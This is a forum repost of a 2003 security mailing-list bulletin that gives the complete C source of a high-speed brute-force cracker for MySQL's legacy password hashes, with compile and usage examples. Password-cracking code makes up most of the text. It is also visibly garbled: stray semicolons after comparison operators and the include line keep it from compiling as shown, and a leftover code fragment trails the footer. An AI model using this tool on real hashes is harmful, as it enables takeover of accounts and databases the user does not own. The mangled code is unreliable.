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MySQL密码遗忘解决方法zt
[TOOL] High-speed Brute-force Password Cracker for MySQL
From: SecuriTeam (support_at_securiteam.com)
Date: 05/05/03
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To: list@securiteam.com
Date: 5 May 2003 18:01:49 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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High-speed Brute-force Password Cracker for MySQL
------------------------------------------------------------------------
DETAILS
This tool is a high-speed brute-force password cracker for MySQL hashed
passwords. It can break an 8-character password containing any printable
ASCII characters in a matter of hours on an ordinary PC.
Tool:
/* This program is public domain. Share and enjoy.
*
* Example:
* $ gcc -O2 -fomit-frame-pointer mysqlfast.c -o mysqlfast
* $ mysqlfast 6294b50f67eda209
* Hash: 6294b50f67eda209
* Trying length 3
* Trying length 4
* Found pass: barf
*
* The MySQL password hash function could be strengthened considerably
* by:
* - making two passes over the password
* - using a bitwise rotate instead of a left shift
* - causing more arithmetic overflows
*/
#include <stdio.h>;
typedef unsigned long u32;
/* Allowable characters in password; 33-126 is printable ascii */
#define MIN_CHAR 33
#define MAX_CHAR 126
/* Maximum length of password */
#define MAX_LEN 12
#define MASK 0x7fffffffL
int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)
{
int i, c;
u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;
u32 newstate1, newstate2, newstate3;
u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];
u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];
i = -1;
sum = 7;
state1_ary[0] = 1345345333L;
state2_ary[0] = 0x12345671L;
while (1) {
while (i < stop) {
i++;
pass_ary[i] = MIN_CHAR;
step_ary[i] = (state1_ary[i] & 0x3f) + sum;
xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8);
sum += MIN_CHAR;
state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
state2_ary[i+1] = state2_ary[i]
+ ((state2_ary[i] << 8) ^ state1_ary[i+1]);
}
state1 = state1_ary[i+1];
state2 = state2_ary[i+1];
step = (state1 & 0x3f) + sum;
xor1 = step*MIN_CHAR + (state1 << 8);
xor2 = (state2 << 8) ^ state1;
for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {
newstate2 = state2 + (xor1 ^ xor2);
newstate1 = state1 ^ xor1;
newstate3 = (targ2 - newstate2) ^ (newstate2 << 8);
div = (newstate1 & 0x3f) + sum + c;
diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK;
if (diff % div != 0) continue;
d = diff / div;
if (d < MIN_CHAR || d >; MAX_CHAR) continue;
div = (newstate3 & 0x3f) + sum + c + d;
diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK;
if (diff % div != 0) continue;
e = diff / div;
if (e < MIN_CHAR || e >; MAX_CHAR) continue;
pass_ary[i+1] = c;
pass_ary[i+2] = d;
pass_ary[i+3] = e;
return 1;
}
while (i >;= 0 && pass_ary[i] >;= MAX_CHAR) {
sum -= MAX_CHAR;
i--;
}
if (i < 0) break;
pass_ary[i]++;
xor_ary[i] += step_ary[i];
sum++;
state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
state2_ary[i+1] = state2_ary[i]
+ ((state2_ary[i] << 8) ^ state1_ary[i+1]);
}
return 0;
}
void crack(char *hash)
{
int i, len;
u32 targ1, targ2, targ3;
int pass[MAX_LEN];
if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) {
printf("Invalid password hash: %s\n", hash);
return;
}
printf("Hash: %08lx%08lx\n", targ1, targ2);
targ3 = targ2 - targ1;
targ3 = targ2 - ((targ3 << 8) ^ targ1);
targ3 = targ2 - ((targ3 << 8) ^ targ1);
targ3 = targ2 - ((targ3 << 8) ^ targ1);
for (len = 3; len <= MAX_LEN; len++) {
printf("Trying length %d\n", len);
if ( crack0(len-4, targ1, targ3, pass) ) {
printf("Found pass: ");
for (i = 0; i < len; i++)
putchar(pass[i]);
putchar('\n');
break;
}
}
if (len >; MAX_LEN)
printf("Pass not found\n");
}
int main(int argc, char *argv[])
{
int i;
if (argc <= 1)
printf("usage: %s hash\n", argv[0]);
for (i = 1; i < argc; i++)
crack(argv[i]);
return 0;
}
ADDITIONAL INFORMATION
The information has been provided by Secret Squirrel.
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====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. |
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发表于 2003-05-29 15:28
;
;
ass not found\n"
